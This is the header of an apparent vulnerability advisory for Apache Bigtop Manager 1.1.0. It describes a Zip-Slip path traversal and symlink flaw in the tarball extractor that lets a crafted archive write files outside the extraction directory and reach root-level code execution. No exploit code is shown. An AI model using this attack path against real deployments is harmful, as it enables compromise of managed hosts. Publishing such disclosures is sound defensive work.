# Apache Bigtop Manager 1.1.0 (TarballExtractor) Arbitrary File Write
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://bigtop.apache.org
# Affected version: 1.1.0
#
# Summary: Bigtop Manager is a modern, AI-driven web application designed
# to simplify the complexity of bigdata cluster management. Provides an easy
# deployment solution not only for Apache Bigtop components, but also other
# community version bigdata components.
#
# Desc: Apache Bigtop Manager suffer from a path traversal (Zip-Slip) and
# arbitrary file write vulnerability. The TarballExtractor.extract() routine
# unpacks service tarballs downloaded from the configured repository URL
# without validating archive entry paths and creates symbolic links with
# attacker-controlled targets, so a crafted archive can write files outside
# the intended extraction directory. Because extraction runs with the privileges
# of the Bigtop Manager stack (typically root during cluster provisioning),
# an attacker who can influence the repository or the served tarball can overwrite
# arbitrary files on the managed hosts and achieve remote code execution.
